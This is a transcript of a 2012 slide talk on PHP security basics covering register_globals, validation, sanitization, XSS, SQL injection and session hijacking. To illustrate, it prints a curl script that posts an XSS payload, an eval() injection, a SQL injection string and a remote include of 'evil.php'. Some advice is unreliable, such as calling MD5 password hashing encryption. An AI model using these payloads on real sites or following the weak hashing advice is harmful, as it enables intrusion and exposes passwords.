+ All Categories
Home > Technology > Intro to PHP Security

Intro to PHP Security

Date post: 15-Jan-2015
Category:
Upload: michael-stowe
View: 19,713 times
Download: 1 times
Share this document with a friend
Description:
This presentation covers the basics of PHP Security to help address common mistakes and misconceptions.
Popular Tags:
61
Introduction to PHP SECURITY APRIL 16, 2012 michael stowe
Transcript

Introduction to

PHP SECURITY

APRIL 16, 2012

michael stowe

• 10+ years experience hacking PHP

• Developed web applications for large non-profits, the medical field, law

enforcement, and ecommerce websites (things that need to be secure)

• Open Source Contributor (3 WordPress plugins, multiple scripts)

• Software Engineer at CaringBridge.org (half a million visitors every day)

• Zend Certified PHP 5.3 Software Engineer

.com

@mikegstowe

MIKESTOWE

So how many people have built a website?

So how many people have built a website?

THAT’S COOL!

I HAVE A WEBSITE TOO! http://www.mikestowe.com

People try to hack it over 2,000 times a day

Most come from

the United States…

All it takes is one mistake

$_SESSION

Or trusting outside sources…

FIRST RULE OF PHP SECURITY:

Don‟t Trust Anyone…

ANYONE! (not even girl scouts)

This means controlling your data.

register_globals = off;

session.use_only_cookies = 1;

session.cookie_httponly = 1;

Start by setting your php.ini configuration to:

Can‟t access the php.ini file? No problem, just create a file

called “php.ini” in the root folder of your script

<?php

ALWAYS DISABLE REGISTER_GLOBALS Register_globals is so dangerous it has been removed from PHP 5.4 completely!

Let‟s take a look at it in action…

register_globals takes all $_REQUEST data

and sets it as global variables within your script

<?php

if($_POST['username'] == 'admin'

&& $_POST['password'] = 'pass') {

// Setup User

$userId = 1;

}

if(isset($userId)) {

// do stuff...

}

?>

Pretty simple script…

But if you want to login, just add ?userId=1 to the end of the url!!!

register_globals takes all $_REQUEST data

and sets it as global variables within your script

<?php

<?php

$userId = false;

extract($_REQUEST);

if($_POST['username'] == 'admin'

&& $_POST['password'] = 'pass') {

// Setup User

$userId = 1;

}

if($userId) {

// do stuff...

}

?>

avoid using extract() and import_request_variables() in your scripts

Also avoid emulating register_globals!

The extract() function will overwrite pre-existing variables by default! Once again, adding ?userId=1 to the URL logs the user in.

<?php

Security also means knowing what sources can be trusted…

Security also means knowing what sources can be trusted…

$_GET

Which one(s) can we trust?

$_POST $_SERVER

$_FILES $_ENV

$_SESSION

$_COOKIE

$_REQUEST

Security also means knowing what sources can be trusted…

$_GET

Which one(s) can we trust?

$_POST $_SERVER

$_FILES $_ENV

$_SESSION

$_COOKIE

$_REQUEST

REMEMBER

Don‟t Trust Anyone

USER CONTROLLED DATA:

$_GET $_POST $_REQUEST $_COOKIE

These all contain data that can be manipulated by the user and shouldn’t be trusted!

$_FILES $_ENV $_SERVER

UH OH… This means that the user can send you whatever information they want! They can lie to you about who they are, where they‟re from, what a file mime-type is, and even inject malicious code into your script!

Browser plug-ins are designed to help make our job as developers easier… but they also help and enable hackers!

The above example tells the server I am using

Firefox, pulls and stores cookie data, and submits malicious code as a $_POST

For Example…

I just submitted a malicious script through your form!

<?php

<?php

$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, 'http://www.yoursite.com/form.php');

$hack = '"><script language="javascript">location.href=\'mysite\';

</script><input type="hidden';

curl_setopt($ch, CURLOPT_POSTFIELDS,'name='.urlencode($hack));

curl_setopt($ch, CURLOPT_POST, 1);

curl_setopt($ch, CURLOPT_HEADER, 0);

curl_setopt($ch, CURLOPT_COOKIEJAR, "cookies.txt");

curl_setopt($ch, CURLOPT_COOKIEFILE, "cookies.txt");

curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U;

Windows NT 5.1; en-US; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3");

curl_exec($ch);

?>

SESSION DATA: $_SESSION, while the most secure can be manipulated through the use of User Controlled Data. For example, they can inject code that writes to the $_SESSION array, as well as hijack someone else‟s session!

Remember those session php.ini settings… those are important. But we’ll get to those a little later.

EVAL() = EVIL For this reason NEVER EVER eval() user submitted data… Doing so gives them the ability to execute whatever PHP code they feel like.

Also NEVER directly exec() or shell_exec() user based data, as

this may allow them to run commands on your server (ie: rm –r *)

<?php

<?php

$user_input = 'var_dump(get_defined_vars()); die();';

eval($user_input);

// I now know all of your variables :)

?>

COOKIES: Because cookies are controlled by users, never store sensitive data that is used to determine a user‟s identity, role, permissions, password, or personal information. Instead utilize sessions which provide a unique, temporarily key to identify the user.

COOKIES: Cookies may also be accessed through JavaScript, making them vulnerable not only to user manipulation, but to being read by sites injecting malicious code. Essentially, cookies should only be used for the session identifier, and for basic data storage that is not sensitive and needs to persist past the session expiration, for example, you could use a cookie to set a theme, for “remember me,” or for making sure cookies are enabled.

OpenSource Vulnerabilities

If you‟re using an Open Source Solution, such as WordPress, Drupal, Joomla, etc… it‟s a good idea to add a scanner to check for malicious evals() added through back doors in the code

Yes, this is a shameless plug for one of my scripts

http://www.mikestowe.com/evalscanner

Don’t worry… It’s free

<?php

$user_input = 'images/my_malicious_file.php';

require($user_input);

// With allow_url_include set to 1 in php.ini

$user_input = 'http://www.mikestowe.com/evil.php';

require($user_input);

?>

AVOID USER DEFINED PATHS

Avoid relying on user controlled data for defining include() and require() paths.

If you need to use user data to define a path, check it against an

array of allowed files using in_array(). It is also recommended

that you set the allow_url_fopen & allow_url_include php.ini

settings to off (0).

<?php

PLACE INCLUDES IN AN ACCESS CONTROLLED FOLDER

Files that perform sensitive actions and are included in your script through an include() or require() should be stored in a private directory, such as /var/usr/includes/ instead of the public_html, httpdocs, or www folder.

This prevents the files from being called directly and helps

prevent hackers from abusing your code and running files

outside of their intended environment.

<?php

<?php

// Actual Page is admin/index.php

$_SERVER['PHP_SELF'] = 'admin/index.php/login.php';

$page = array_pop(explode('/', $_SERVER['PHP_SELF']));

if(!$loggedIn && $page == 'login.php') {

// let them access the page

}

?>

AVOID FORGEABLE $_SERVER VALUES

Also avoid relying on PHP_SELF or REQUEST_URI to determine what page the user is on. These can be tricked if not handled properly.

These variables should only be used to determine the path of

dynamic content, such as in a database driven site or an MVC

framework. For procedural code, use $_SERVER[„SCRIPT_NAME‟]

instead.

This was a security flaw in early versions of OS Commerce!

<?php

A BIG part of security is handling incoming data

Use the appropriate SuperGlobals - $_GET and $_POST. Do NOT use $_REQUEST as you can‟t tell WHERE the data is coming from ($_POST, $_GET, $_COOKIE)

<?php

if($_SERVER['REQUEST_METHOD'] == 'POST') {

// Can be triggered without data

}

if($_POST) {

// Will not be trigged - no data

}

?>

Use the SuperGlobal Array When checking to see if a form is submitted, check the SuperGlobal $_POST array instead of relying on $_SERVER[„REQUEST_METHOD‟]. This helps reduce illegal offsets.

Remember that CURL example? I can tell your server that it‟s

a POST without sending any $_POST data!

<?php

And make sure values exist Check that a value exists using the isset() function before using it in your script to prevent illegal offset errors. Form inputs such as text, select, submit, etc should be set even if empty.

<?php

<?php

if(!isset($_POST['firstName'])) {

die('Not from my form! firstName was a textbox!');

}

// Checkbox or Possibly Radio (if not checked by default)

if(!isset($_POST['signMeUp'])) {

die('They didn\'t check the checkbox');

}

?>

Note – an unchecked checkbox will not be set in the

$_POST array.

ALWAYS VALIDATE Validating Parking is… err, sorry, wrong presentation. Always validate that the data provided by the user meets the criteria of the data that is expected. PHP 5.2 introduced the filter_var function to help with this.

<?php

if(!filter_var($_POST['email'], FILTER_VALIDATE_EMAIL)) {

die('This is an invalid email');

}

if(!filter_var($_POST['url'], FILTER_VALIDATE_URL)) {

die('This is an invalid url');

}

?>

It‟s great to validate data using HTML5 and JavaScript, but keep in

mind these can be bypassed. Always validate on the back-end

http://php.net/manual/en/filter.filters.validate.php

<?php

ALWAYS VALIDATE You can also create your own validations by checking the type of the user provided data, or running it against a Regular Expression.

<?php

// For a Specific Pattern

if(!preg_match('/[0-9]{4}/', $_POST['year'])) {

die('This is not a valid 4-Digit Year');

}

// For Specific Choices

$array = array('male', 'female');

if(!in_array($_POST['gender'], $array)) {

die('This is not a valid gender');

}

// For Specific Types

if(!is_int($_POST['year'])) {

die('This is not a valid integer');

}

?>

http://php.net/manual/en/filter.filters.validate.php

<?php

SO FAR WE HAVE 3 LAYERS As you can see, these security steps aren‟t independent of each other, but work together to provide a multiple levels of security to prevent malicious code and attacks from getting through. So far we have:

Every layer reduces the risk of security breaches, and with each layer we eliminate different types of attacks that other layers can’t protect against.

• Controlling Incoming Data (ini file) • Checking Data Types ($_POST) • Validating All Incoming Data

ALWAYS SANITIZE Validation helps prevent bad data from getting through, however, sometimes we can‟t test the data for a specific pattern, or it may still contain dangerous code. It is important to sanitize the data before processing it.

<?php

<?php

// Sanitize an Email in PHP 5.2+

$safeEmail = filter_var($_POST['email'], FILTER_SANITIZE_EMAIL);

// Sanitize an URL in PHP 5.2+

$safeUrl = filter_var($_POST['url'], FILTER_SANITIZE_URL);

?>

PHP 5.2+‟s filter_var() function can also be used to sanitize data

by using the sanitize filters instead of the validate filters

http://www.php.net/manual/en/filter.filters.sanitize.php

STRIP_TAGS() The strip_tags() function removes HTML tags from a string. It takes an optional parameter for allowed tags (<b>, <p>, etc).

<?php

<?php

$unsafeData = '<script>location.href=\'mysite\';</script>';

$new = strip_tags($unsafeData);

echo $new;

// echos out "location.href='mysiste';"

?>

This function does not modify any attributes on the tags that you allow

using allowable_tags, including the style and onmouseover attributes

that a mischievous user may abuse when posting text that will be

shown to other users.

HTMLENTITIES() The htmlentities() function converts text into it‟s HTML entity. This means characters like “<“ and “>” are converted to “&lt;” and “&gt;” htmlentities also takes a flag to convert quotes (ie &quot;)

<?php

<?php

$unsafeData = '<script>location.href=\'mysite\';</script>';

$new = htmlentities($unsafeData);

echo $new;

// echos out

// &lt;script&gt;location.href='mysite';&lt;/script&gt;

?>

If your script lets users add their own HTML, you can use

htmlentities for sanitizing the code prior to storing, and then

utilize html_entity_decode() to restore their code on output.

BLACK LISTING Black listing is not considered an effective method as you cannot possibly black list all potentially dangerous code. Black listing requires that your script be constantly playing catch-up to the latest techniques used by hackers. Just the same, black listing can be used in conjunction with other sanitization methods, but should not be used as your only method of sanitization.

<?php

<?php

$blacklist = array('/<\/?script[^>]*>/');

$unsafeData = '<script>location.href=\'mysite\';</script>';

$new = preg_replace($blacklist, '', $unsafeData);

echo $new;

// echos out "location.href='mysite';"

?>

BLACK LISTING WIN <?php

<?php

$blacklist = array('/onMouseOver/');

$unsafeData = '<b onclick="location.href=\'mysite\';">Text</b>';

$new = strip_tags($unsafeData, '<b>');

// Text still contains vulnerability

if(preg_match($blacklist, $new)) {

die('Text is not secure');

}

echo $new;

// Yay! Just prevented a vulnerability!

?>

The above example assumes that the user needs to be able to

utilize the <b> tag. But because strip_tags() doesn‟t remove the

onMouseOver attribute, we can check for it in our script and

then kill the page if we find it. However, there are better ways

around this.

BLACK LISTING FAIL <?php

<?php

$blacklist = array('/<\/?script[^>]*>/');

$unsafeData = '<Script>location.href=\'mysite\';</Script>';

$new = preg_replace($blacklist, '', $unsafeData);

echo $new;

// Whoops! We just ran their JavaScript

?>

Because our preg_replace is case sensitive we missed this simple work around. This is the problem with black listing, we are limited to what we think of and guard against.

strip_tags() and htmlentities() are preferred methods over

blacklisting.

TAG PLACE HOLDERS Another way around allowing HTML tags is to use html tag placeholders. These are commonly used in forums and comment forms. For example, instead of using allowing <b> and </b> which can have onMouseOver hidden in them, we can let the user use [b] and [/b]. Now we can use htmlentities() to protect against these attacks.

<?php

<?php

$find = array('[b]', '[/b]');

$repace = array('<b>', '</b>');

$userData = '[b]<b onMouseOver="script">My Text</b>[/b]';

$new = str_replace($find, $replace, htmlentities($userData));

// We've removed their HTML code injection, and turned the

// [b] and [/b] into HTML tags. The world is happy.

?>

DATABASE SANITIZATION It‟s extremely important to ensure that user imported data is sanitized for database storage. In MySQL you can use the mysql_real_escape_string() function.

<?php

<?php

$userData = '1" OR 1="1';

// Returns ALL Records

mysql_query('SELECT * FROM table WHERE column = "'.$userData.'"');

// Will Not Return Any Records - Vulnerability Prevented

$new = mysql_real_escape_string($userData);

mysql_query('SELECT * FROM table WHERE column = "'.$new.'"');

?>

Most PHP database extensions have their own escape function.

However, for best results it is recommended to utilize PDO and

take advantage of it‟s binding capabilities.

http://www.php.net/manual/en/book.pdo.php

DATABASE ACCESS You should also control database access, granting the web application only the privileges it needs for the commands it needs to run. For example, unless your application needs the ability to create and drop tables, the web application user (for the database) should not have “create” and “Drop” privileges.

By controlling database access you help reduce the potential for

damage from an application that has been compromised. Keep in

mind this will not protect sensitive data.

DATA ENCRYPTION To prevent sensitive data from becoming compromised in the event of a vulnerability, it is recommended to use 1 or 2 way encryption to protect the data. For example, passwords can be encrypted using MD5() to prevent reverse engineering (since many users only have one password for all accounts). Data that needs to be interpreted by the script can be encrypted using one of PHP‟s 2-way encryption functions (such as crypt()). This protects data integrity in the event that the database is compromised.

DATA ENCRYPTION

Note – MySQL has it‟s own encryption function called password(). However, this function is not designed for storing encrypted data, as the algorithm may change in a future MyQL release, causing an encryption mismatch- making your data unusable.

Another BIG part of security is handling Output

Along with sanitizing data for storage and internal use within your script, it is just as important to ensure that your users are not subjected to malicious code, or given too much information.

XSS – Cross Site Scripting Earlier, we looked at how to sanitize code containing a <script> tag. This is just one example of Cross Site Scripting (XSS). Hackers can post malicious code in comments, posts, or even append it as part of a query string. If not escaped, it allows the hacker to send malicious code to your viewers, whether it be a simple redirection, downloading malicious software, or stealing user data.

XSS – Cross Site Scripting By using strip_tags() AND htmlentities(), we can prevent these attacks. We can also prevent JavaScript from accessing cookies by setting the session.cookie_httponly = 1 and using the optional $httponly flag in the setcookie() function.

HttpOnly is not supported by all browsers, but when set can help reduce the risk in the browsers that do support it. By default, $httponly is set to false in setcookie.

setcookie($name, $value, $expire, $path, $domain, $httponly)

Display Generic Errors PHP provides terrific logging for Errors, Warnings, and Notices. Displaying this information is tremendously helpful in a development environment, but can give hackers inside information on how your script works if available in production. Turn off display_errors and setup custom error handlers to prevent this.

KEEPING SESSIONS SECURE While sessions tend to be fairly secure, there are two very popular attacks designed to exploit the way sessions are handled. These are the session hijacking and session fixation attacks.

SESSION HIJACKING

Session Hijacking is just that, a hacker guesses or steals the session ID, and then sets up a cookie or applies the session ID to the page url to “hijack” the users session, accessing their account with their privileges.

SESSION FIXATION Session Fixation is similar to session hijacking, with the exception that the hacker creates the initial session, and then sends a url with the session ID to their victim. The victim unknowingly logs in not only on their computer, but on the hackers computer through the session ID.

KEEPING SESSIONS SECURE

Thankfully, both of these attacks are fairly easy to prevent, and while they require a little bit more work, you can use the same steps to prevent both simultaneously.

Remember Your INI

session.use_only_cookies = 1;

This ini directive prevents session IDs from being obtained from the URL. This helps prevent session fixation as any session IDs attached to the url are simply ignored.

<?php

Remember Your INI session.cookie_httponly = 1;

This ini directive tells the browser NOT to let client-side scripts access the session cookie. However, it is up to the browser to enforce this, and for this reason HTTPOnly is not considered reliable.

<?php

Change the Session ID

Whenever performing sensitive or important actions within a session, use session_regenerate_id() to change the session ID. Constantly changing the ID makes session fixation and hijacking more difficult.

Use a Token ID

Along with having a session ID, set a cookie with a unique token ID. This way you can validate that the machine attempting to use the session is the same machine that the session originated from.

A cookie token ID is more reliable than trusting the

HTTP_USER_AGENT or IP Address as the hacker must have

access to the machine or intercept communication in order to

retrieve it.

Using a Token ID <?php

<?php

session_start();

if(!isset($_SESSION['token']) || !isset($_COOKIE['token']) ||

$_SESSION['token'] != $_COOKIE['token']) {

session_regenerate_id(true);

// note the delete_old_session parameter is set to true

$token = md5(rand(11111111111, 99999999999));

// you can create a much more secure token

//by utilizing alphabetic

$_SESSION['token'] = $token;

setcookie('token', $token);

}

?>

While this is not 100% fool proof, it does add another extremely

effective step to help protect your application, data, and user

integrity.

However, you can find a lot more information on the web, and I will be

posting more on mikestowe.com

There are a lot more ways to add security to your application, unfortunately, we don‟t

have time to discuss all of them…

http://php.net /manual/en/security.php

You should also check out:

@mikegstowe


Recommended